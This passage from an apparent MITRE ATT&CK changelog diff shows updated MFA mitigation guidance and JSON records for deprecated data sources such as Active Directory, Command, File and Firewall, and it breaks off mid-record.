>ess. This mitigation can be implemented through the followin>ess. This mitigation can be implemented through the followin
>g measures:  Identity and Access Management (IAM):  - Use IA>g measures:  Identity and Access Management (IAM):  - Use IA
>M solutions like Azure Active Directory, Okta, or AWS IAM to>M solutions like Azure Active Directory, Okta, or AWS IAM to
> enforce MFA policies for all user logins, especially for pr> enforce MFA policies for all user logins, especially for pr
>ivileged roles. - Enable conditional access policies to enfo>ivileged roles. - Enable conditional access policies to enfo
>rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc>rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc
>ations).  Authentication Tools and Methods:  - Use authentic>ations). - Enable Conditional Access policies to only allow 
>ator applications such as Google Authenticator, Microsoft Au>logins from trusted devices, such as those enrolled in Intun
>thenticator, or Authy for time-based one-time passwords (TOT>e or joined via Hybrid/Entra.  Authentication Tools and Meth
>P). - Deploy hardware-based tokens like YubiKey, RSA SecurID>ods:  - Use authenticator applications such as Google Authen
>, or smart cards for additional security. - Enforce biometri>ticator, Microsoft Authenticator, or Authy for time-based on
>c authentication for compatible devices and applications.  S>e-time passwords (TOTP). - Deploy hardware-based tokens like
>ecure Legacy Systems:  - Integrate MFA solutions with older > YubiKey, RSA SecurID, or smart cards for additional securit
>systems using third-party tools like Duo Security or Thales >y. - Enforce biometric authentication for compatible devices
>SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for V> and applications.  Secure Legacy Systems:  - Integrate MFA 
>PNs, RDP, and other network logins.  Monitoring and Alerting>solutions with older systems using third-party tools like Du
>:  - Use SIEM tools to monitor failed MFA attempts, login an>o Security or Thales SafeNet. - Enable RADIUS/NPS servers to
>omalies, or brute-force attempts against MFA systems. - Impl> facilitate MFA for VPNs, RDP, and other network logins.  Mo
>ement alerts for suspicious MFA activities, such as repeated>nitoring and Alerting:  - Use SIEM tools to monitor failed M
> failed codes or new device registrations.  Training and Pol>FA attempts, login anomalies, or brute-force attempts agains
>icy Enforcement:  - Educate employees on the importance of M>t MFA systems. - Implement alerts for suspicious MFA activit
>FA and secure authenticator usage. - Enforce policies that r>ies, such as repeated failed codes or new device registratio
>equire MFA on all critical systems, especially for remote ac>ns.  Training and Policy Enforcement:  - Educate employees o
>cess, privileged accounts, and cloud applications.>n the importance of MFA and secure authenticator usage. - En
 >force policies that require MFA on all critical systems, esp
 >ecially for remote access, privileged accounts, and cloud ap
 >plications.
" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datasources": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [ + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0026", + "external_id": "DS0026" + }, + { + "source_name": "Microsoft AD DS Getting Started", + "description": "Foulds, I. et al. (2018, August 7). AD DS Getting Started. Retrieved September 23, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Active Directory", + "description": "A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:52.686000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0015", + "external_id": "DS0015" + }, + { + "source_name": "Confluence Logs", + "description": "Confluence Support. (2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Log", + "description": "Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:03.068000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0037", + "external_id": "DS0037" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Certificate", + "description": "A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "OSINT" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:54.643000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0025", + "external_id": "DS0025" + }, + { + "source_name": "Amazon AWS", + "description": "Amazon. (n.d.). Start Building on AWS Today. Retrieved October 13, 2021.", + "url": "https://aws.amazon.com" + }, + { + "source_name": "Azure Products", + "description": "Microsoft. (n.d.). Azure products. Retrieved November 17, 2024.", + "url": "https://azure.microsoft.com/en-us/products/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Service", + "description": "Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2024-11-17 19:41:14.066000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0010", + "external_id": "DS0010" + }, + { + "source_name": "Amazon S3", + "description": "Amazon. (n.d.). Amazon S3. Retrieved October 13, 2021.", + "url": "https://aws.amazon.com/s3/" + }, + { + "source_name": "Google Cloud Storage", + "description": "Google. (n.d.). Cloud Storage. Retrieved October 13, 2021.", + "url": "https://cloud.google.com/storage" + }, + { + "source_name": "Azure Blob Storage", + "description": "Microsoft. (n.d.). Azure Blob Storage. Retrieved November 17, 2024.", + "url": "https://azure.microsoft.com/en-us/products/storage/blobs/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage", + "description": "Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2024-11-17 19:42:50.489000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0017", + "external_id": "DS0017" + }, + { + "source_name": "Confluence Linux Command Line", + "description": "Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html" + }, + { + "source_name": "Audit OSX", + "description": "Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.", + "url": "https://www.scip.ch/en/?labs.20150108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command", + "description": "A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Austin Clark, @c2defense" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "Network Devices", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:26.880000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0032", + "external_id": "DS0032" + }, + { + "source_name": "Docker Docs Container", + "description": "docker docs. (n.d.). Containers. Retrieved October 13, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Container", + "description": "A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2024-12-24 18:06:47.351000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0038", + "external_id": "DS0038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Domain Name", + "description": "Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "OSINT" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:57.359000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0016", + "external_id": "DS0016" + }, + { + "source_name": "Sysmon EID 9", + "description": "Russinovich, R. & Garnier, T. (2021, August 18). Sysmon Event ID 9. Retrieved September 24, 2021.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon#event-id-9-rawaccessread" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive", + "description": "A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:06.700000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0027", + "external_id": "DS0027" + }, + { + "source_name": "IOKit Fundamentals", + "description": "Apple. (2014, April 9). What Is the I/O Kit?. Retrieved September 24, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Features/Features.html" + }, + { + "source_name": "Windows Getting Started Drivers", + "description": "Viviano, A. (2021, August 17). Getting started with Windows drivers: User mode and kernel mode. Retrieved September 24, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Driver", + "description": "A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:53.761000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0022", + "external_id": "DS0022" + }, + { + "source_name": "Microsoft File Mgmt", + "description": "Microsoft. (2018, May 31). File Management (Local File Systems). Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File", + "description": "A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:10:04.845000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0018", + "external_id": "DS0018" + }, + { + "source_name": "AWS Sec Groups VPC", + "description": "Amazon. (n.d.). Security groups for your VPC. Retrieved October 13, 2021.", + "url": "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firewall", + "description": "A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:58.457000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.265000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0001", + "external_id": "DS0001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firmware", + "description": "Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:07.251000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0036", + "external_id": "DS0036" + }, + { + "source_name": "Amazon IAM Groups", + "description": "Amazon. (n.d.). IAM user groups. Retrieved October 13, 2021.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Group", + "description": "A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Windows", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:55.737000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0007", + "external_id": "DS0007" + }, + { + "source_name": "Microsoft Image", + "description": "Microsoft. (2021, August 23). Create a managed image of a generalized VM in Azure. Retrieved October 13, 2021.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/capture-image-resource" + }, + { + "source_name": "Amazon AMI", + "description": "Amazon. (n.d.). Amazon Machine Images (AMI). Retrieved October 13, 2021.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Image", + "description": "A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:56.103000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0030", + "external_id": "DS0030" + }, + { + "source_name": "Google VM", + "description": "Google. (n.d.). Virtual machine instances. Retrieved October 13, 2021.", + "url": "https://cloud.google.com/compute/docs/instances" + }, + { + "source_name": "Amazon VM", + "description": "Microsoft. (n.d.). What is a virtual machine (VM)?. Retrieved November 17, 2024.", + "url": "https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-a-virtual-machine/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance", + "description": "A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2024-11-17 